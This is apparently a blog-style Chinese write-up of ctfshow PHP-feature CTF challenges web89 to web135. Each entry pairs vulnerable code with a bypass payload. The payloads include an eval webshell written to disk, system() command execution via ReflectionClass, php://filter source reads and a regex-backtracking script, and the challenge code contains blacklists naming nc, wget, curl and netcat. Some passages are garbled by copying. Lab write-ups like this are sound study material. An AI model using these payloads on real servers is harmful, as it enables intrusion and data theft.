-
2022-01-26 17:28:26
Web专项练习—ctfshow-php特性
php绕过方法总结
- 小数绕过
- 进制绕过
- ==、 = ==绕过
- %20空格绕过
- %0a换行绕过
- 回车\空格+八进制绕过
- 相对路径绕过
- php伪协议读取文件
- 数组md5值为0
- 弱类型匹配
- 函数写🐎
- 运算优先级漏洞
- 反射类绕过
- call_user_func()绕过
- sha1()函数绕过
- 变量覆盖
- sha1弱比较
- md5弱比较
- ereg()截断漏洞
- php内置类 FilesystemIterator
- 压缩过滤器绕过
- 空格代替url ‘_’ 绕过
- gettext扩展绕过
- 数组strpos()值为null
- && || 的优先级绕过
- 反弹shell、curl
- Linux中的cp命令
- Linux中的tee命令
- 调用类中函数
- 弱比较
- 取反绕过
- 异或,同0异1
- 三目运算符构造payload
- 等号和位运算符
- create_function()函数
- 尝试非预期解
- 魔术方法
web89
intaval()
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
intval()–非空的数组会返回1,可以采用数组绕过intval()函数
intval()函数只匹配整数部分
preg_match()
返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过
preg_match_all()不同于此,它会一直搜索 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
web90
全等于与等于
=== -----> 全等于 == ------> 等于,一个精确度很高,一个是简单等于
1、如果类型不同,就不相等
2、如果两个都是数值,并且是同一个值,那么相等;如果其中至少一个是NaN,那么[不相等]。(判断一个值是否是NaN,只能用isNaN()来判断)
【总结】a===b,是先判断a和b的类型是否相同,如果不用则False;如果相同,再判断值是否相同。所以:’2’===2->False a==b,是判断a(支持自动类型转换)的值和b的值是否相同->所以’2’和2,在值上是一样的。所以:’2’==2->True
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval($num,0):
intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,
所以这里我就就可以用16进制或八进制表示4476
?num=0×117c //十六进制 ?num=010574 //八进制
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
web91
preg_match参数匹配\m \i
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
/i 表示匹配的时候不区分大小写
/m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的^$符号
多行匹配可以通过%0a(回车键)绕过
在题中,构造payload为
?cmd=flag.%0Aphp
第一行为多行匹配,满足第一行的条件,第二行为单行匹配,只需要保证第一行中不出现完整的php就可满足条件,get到flag
web92
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
与web90的差距,就在于此题为弱类型,即web90的?num=4476a不能满足题意
因为==比较中,4476a=4476
因为在本题中intval( n u m , num, num,base)第二个参数base=0,为0时,通过检测var的格式来判断使用的进制,如果字符串包括了"0x"(或"0X")的前缀,使用16进制(hex);如果字符串以"0”开始,使用8进制(octal);否则将使用10进制(decimal)。
进制绕过
通过十六进制或者八进制都可绕过
?num=0×117c //十六进制 ?num=010574 //八进制
特殊字母e绕过
通过?num=4476e321321321也可以拿到flag,因为e比较特殊,可以在php中不是科学计数法,构造这个payload,可以绕过第一个if条件,然后进行的第二个if比较就和web90相同了
web93
弱类型比较+过滤字母–八进制绕过
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
此题条件比较苛刻,不仅弱比较了4476,而且不允许num参数中出现字母(\i参数表示忽略大小写),也就是我们可以同样 采用进制绕过,但是可以使用的进制只有八进制
?num=010574 //八进制
web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
strpos()
strpos($num, “0”)
strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,第一位匹配正确返回0,第二位匹配正确返回1,以后递推,所以在题中即为只要匹配到,输出就为true,取反就为false.所以可以通过除了第一位其他位出现0的方法让if条件为假。**该函数并不是只匹配一行数据。回车后匹配仍有效。**可以通过?num=%0a4476绕过
intval()
intval()函数只匹配整数部分,综上可以构建小数中含有0的payload:?num=4476.011
也可以选择八进制绕过,不过需要使num参数前加空格占位,使其满足第一位不能出现0的条件
web95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
$num==4476
绕过该if条件,可以通过%0a回车换行实现。
绕过第一个if后可以通过进制转换绕过
因为==号只能判断数字是否相等,不能进行进制转换,故可以绕过第一个if。第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制
payload:?num=%0a010574 payload:?num=%20010574 payload:?num=+010574
空格\回车+八进制绕过
web96
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
相对路径绕过
这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。
payload:?u=./flag.php
php伪协议
想要读取我们想要的flag.php文件,可以采用php伪协议的方法。
fliter伪协议,传参如下:
?file=php://filter/convert.base64-encode/resource=flag.php
对于这题应该使用
payload:?u=php://filter/convert.base64-encode/resource=flag.php ?u=php://filter/resource=flag.php
将得到的base64解密即可
web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
比较md5值
在题中可以利用数组的md5值为零,来绕过
payload:a[]=1&b[]=2
web98
include("flag.php");#本php文档包含了一个flag.php文件,是我们想要的flag $_GET?$_GET=&$_POST:'flag';#如果有get传参,就将get传参变为post传参。 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#中间两行代码看起来貌似没用 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#如果get传参了HTTP_FLAG=flag,就highlight_file($flag)
php三元运算符
和C语言类似
事实上,三元运算符可以扩展使用,当设置的条件成立或不成立,执行语句都可以不止一句,试看以下格式:
(expr1) ? (expr2).(expr3) : (expr4).(expr5);
多个执行语句可以使用用字符串运算符号(“.”)连接起来,各执行语句用小角括号包围起来以表明它是一个独立而完整的执行语句。
expr1成立就执行expr2和expr3,否则执行expr4和expr5
本题代码分析见上代码
payload:?1=1 post:HTTP_FLAG=flag
web99
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
in_array()
in_array(search,array,type)
search—必须,规定在数组中搜索的值
array—必需,规定搜索的数组
type—可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
如果设置了第三个参数,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
而题中没有设置,这里可以默认没有设置,即只是弱类型匹配
弱类型匹配
题中就是利用了in_array()的弱类型匹配
$allow是个数组,给定一个i的取值范围,然后利用array_push函数,不断循环向数组里面添加数据。
猜想一个随机数可以构造get传参
?n=123.php
然后post传参content一个一句话木马,此处没有过滤,故最简单的就可,最终payload
?n=123.php content=<?php eval($_REQUEST[1]);?> 打开123.php文件后 1=system("ls"); 1=system("cat flag.36d.php");
web100
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
is_numeric()
检测变量是否为数字,如果是,返回true,否则返回false
or与||、and与&&
优先级:逻辑运算符>逻辑运算(赋值)>and、or
由题中代码可知,v0的取值只和v1有关。v1参数为数字,没有其他限制,但是v2不能有;标志,v3必须有;标志,满足条件后执行eval函数,故可以构造payload
?v1=12.12&v2=var_dump($ctfshow)&v3=;
web101
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
本题与上一题的区别在于v2、v3的过滤,本题过滤较多,过滤的符号有
\ / | ~ ` @ ! # $ % ^ * ) - _ + = { [ " ' , . ; ? 和数字
反射类求解
反射类可以理解为一个类的映射。其实和调用对象的方法类似只不过这里是反着来的,方法在前,对象在后
payload:?v1=143&v2=echo new ReflectionClass&v3=;
web102
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
call_user_func()
把第一个参数作为回调参数调用
本题中要求v2是数字,然后通过substr函数截取v2的第三位开始的数据,及以后的数据。v1、v3题中没有限制,
is_numerc()
该函数在php5版本下有漏洞,可以识别十六进制,所以可以将一句话木马写作十六进制的格式
故构造v2=(<?php eval($_REQUEST[a]);?>)
v2=3c3f706870206576616c28245f524551554553545b615d293b3f3e
v1可以利用hex2bin()函数来进行把十六进制字符转换成ASCII字符,即我们想要的一句话木马。
v1=hex2bin
v3是file_put_content()函数的文件名,
file_put_content()函数的str变量是回调的v1参数
v3通过伪协议写入1.php文件中内容
v3=php://filter/write=convert.base64-decode/resource=1.php
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。
payload
get v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
web103
解题过程payload同web102
web104
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
由题可知,get传参v2,post传参v1
sha1()
sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过
题中sha1()函数弱相等,提交的两个参数只需要满足经过运算后的值相等即可
payload:post v1=1 get v2=1
web105
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ #get是一个预定义的数组,此处将get中的数据按照键值对取出 if($key==='error'){ #key是传入的参数名称 成立条件 error=random die("what are you doing?!"); } $$key=$$value; #此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值 }foreach($_POST as $key => $value){ #post同样是一个预定义的数组,同样按照键值对取出 if($value==='flag'){ #如果传入的值为flag,if判定成立 die("what are you doing?!"); } $$key=$$value; #同上,人工添加变量 } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; #要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖 die($suces);
foreach()
foeach是一种特殊的循环语句,只适用于数组和对象
payload get ?suces=flag post error=suces
web106
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
此题类型和前面相同,构造数组,可以实现值不相同而且sha1算法结果为0
或者进行sha1弱比较
web107
highlight_file(__FILE__); error_reporting(0); #禁止页面报错 include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
post-v1 get-v3
parse_str()
将字符串解析成多个变量
$a='q=123&p=456'; parse_str($a,$b); echo $b['q']; //输出123 echo $b['p']; //输出456
$a='q=123&p=456&r=789'; parse_str($a,$c); echo $c['q']; //输出123 echo "<br/>"; echo $c['p']; //输出456 echo "<br/>"; echo $c['r']; //输出789
在题中只需要构造payload为
?v3=1 v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
ereg()
正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配
strrev()
字符串逆序,0x36d十进制为877,逆序即为778
故可以构建payload
?C=a%00778
web109
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } }
在eval函数中,构建了一个新的类,我们可以保证在内部类不报错的情况下进行输出
反射类绕过
?v1=ReflectionClass&v2=system("ls") ?v1=ReflectionClass&v2=system("cat fl36dg.txt")
答案在源码
web110
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); }
本题和上一题整体较为相似,区别在于增加了过滤,v1、v2能用的只有字母。
FilesystemIterator
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
利用getcwd()函数来获取当前工作目录
payload:?v1=FilesystemIterator&v2=getcwd
得到fl36dga.txt
因为该文件在当前目录下,所以可以直接访问,得到flag
web111
highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }
PHP超全局变量$GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。本题限制v1、v2只能为字母,而且控制v1的值只能为ctfshow
payload :?v1=ctfshow&v2=GLOBALS
#分析getflag函数 function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } #在传入v1,v2的值之后,eval("$$ctfshow = &$$GLOBALS")
web112
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
is_file()函数
该函数检查指定的文件名是否为正常的文件
出题目的为,让is_file()函数检测不出是正常的文件,但是highlight_file()可以识别为正常的文件,可以利用php伪协议
php伪协议
payload: ?file=php://filter/resource=flag.php ?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的 ?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式 ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php ?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web113
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
此题与上一题相比,多过滤了filter,但是我们可以使用别的伪协议
php伪协议
压缩过滤器绕过
payload: ?file=compress.zlib://flag.php
多次重复绕过
linux里
/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容
多次重复后绕过is_file
。payload: ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 师傅们居然tql都是非预期 哼!
这道题虽然过滤掉了compress,不能用上道题的payload,但是这道题没有过滤掉filter,故我们可以使用filter系列
payload: ?file=php://filter/resource=flag.php 下面的都是错误的payload ?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的 ?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式 ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web115
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; } hacker!!!
trim()
移除字符串两侧的字符,第一个参数写入需要操作的字符串,第二个参数写入需要移除的字符
本地验证
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
输出结果为
%0C %2B - . 0 1 2 3 4 5 6 7 8 9
%0c是换页符,%2B是+
所以能用的只有%0c
?num=%0C36
web123
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
php变量名特性绕过
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格
+ . [
转换为_
所以我们没有办法post CTF_SHOW.COM进去
这里就用到了php变量名特性绕过
在变量名中出现了[的话,在get、post传参中,[就会被替换成_,然后其后的字母不会发生变化,CTF
[
SHOW.COM=>CTF_
SHOW.COM$argv
传递给脚本的参数数组,也可以在 [$_SERVER’argv’] 中获取。
将fun的值直接赋值给$c, 然后执行eval函数
payload ?fl0g=flag_give_me CTF_SHOW=1&CTF[show.com=1&fun=echo $flag
至于 c < = 18 的 条 件 , 经 过 本 人 亲 自 验 证 , 发 现 当 c<=18的条件,经过本人亲自验证,发现当 c<=18的条件,经过本人亲自验证,发现当c是字符串的时候,有$c==0;
$flag = 123; $c = "echo $flag"; //var_dump($flag); //echo "<br/>"; //var_dump($c); //echo "<br/>"; //echo strlen($c); if($c==0) { echo 1 ."<br/>"; echo $flag ."<br/>"; eval("$c".";"); }
还有payload如下,目前暂不理解为什么:
get: ?a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
get: ?$fl0g=flag_give_me; post: CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
web125
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
$argv
借助上题payload
get: ?1=flag.php post: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
在前几题的基础上过滤了更多
parse_str()
get: ?a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
assert()函数
get: ?$fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) //需要用burp
web127
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
$_SERVER[]
$_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。
空格代替url ‘_’ 绕过
需要我们传参进入ctf_show,且ctf_show的值为ilove36d,构造payload
?ctf show=ilove36d
$_SERVER[QUERY_STRING],经过验证,不能显示post传参的内容,故只能采取get传参
web128
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); } NULL
要满足if条件,需要 s t r 匹 配 不 到 字 母 和 数 字 , 也 即 i f 里 的 str匹配不到字母和数字,也即if里的 str匹配不到字母和数字,也即if里的f1匹配不到字母和数字
gettext()
当php开启了gettext扩展后,可以绕过字母
echo gettext(phpinfo());===echo _(phpinfo());
可以利用这个特点构造payload
?f1=_&f2=get_defined_vars
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
call_user_function()
把第一个参数作为回调函数调用,其余的参数作为回调函数的参数
var_dump(call_user_func(call_user_func($f1,$f2))); => var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); => var_dump(call_user_func(get_defined_vars));
web129
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写),第一个位置记为0,即如果要读取文件需要兼顾不在第一个位置出现ctfshow,而且满足读取文件的条件
?f=/ctfshow/../var/www/flag.php ?f=./ctfshow/../flag.php ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php ?f=php://filter/|ctfshow/resource=flag.php
web130
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
绕过第一个正则匹配,第一个正则匹配中,. 表示任意单个字符,+表示必须匹配一次或者多次,尽可能少重复,
所以ctfshow前至少有一个字符的时候就会返回TRUE
\i参数匹配大小写 \s参数匹配换行
绕过第二个正则匹配,即匹配成功参数f匹配成功ctfshow
payload:f=ctfshow
preg_match回溯限制
回溯限制为100万次,写脚本
import requests url="http://df990057-ba53-43bb-ad81-b7975ae92a96.challenge.ctf.show/:8080/" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)
超出回溯次数,preg_match函数报错,同时传入ctfshow,绕过第二个
数组绕过
第二个正则匹配是强等于,类型必须相同
采用
数组
绕过的方法,stripos函数
会返回null
,null!=false
,所以可以绕过stripos函数f[]=a
web131
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
题目同上一题类似,比较差异后,发现不可以采用数组绕过,这里暂时不明白为什么
$a = str_repeat("show",250000); $b = $a . "36Dctfshow"; echo $b;
编写字符串,对第一个正则进行长度限制的绕过,然后输入36Dctfshow,绕过第二个正则
web132
首先访问robots.txt,查看到当前网页不允许访问的文件有admin,直接打开admin,进入找到源码
#error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
&& || 的优先级
优先级的问题,||的优先级低于&&,所以只需要保证username=admin即可,令code=admin就可以满足if条件
payload:?username=admin&code=admin&password=1212342131
web133
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
反弹shell、curl外带、盲注
没有回显的RCE题目,可以通过反弹shell、curl外带、盲注
变量套变量
curl外带
curl
Linux中的cp命令
利用cp命令将flag.php写入1.txt,然后访问1.txt
payload: ?F=`$F` ;cp flag.php 1234.txt /1234.txt
注意是反引号,相当于shell_exec()函数
web134
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
$_SERVER[‘QUERY_STRING’]
获取查询语句,实例中可知,获取的是?后面的值,只有get请求
extract()
该函数是将数组中的值依次复制给$键=值
parse_string()
将字符串解析到变量中
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
payload:?_POST[key1]=36d&_POST[key2]=36d
web135
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
Linux中的cp命令
利用cp命令将flag.php写入1.txt,然后访问1.txt
payload: ?F=`$F` ;cp flag.php 1234.txt /1234.txt
注意是反引号,相当于shell_exec()函数
web136
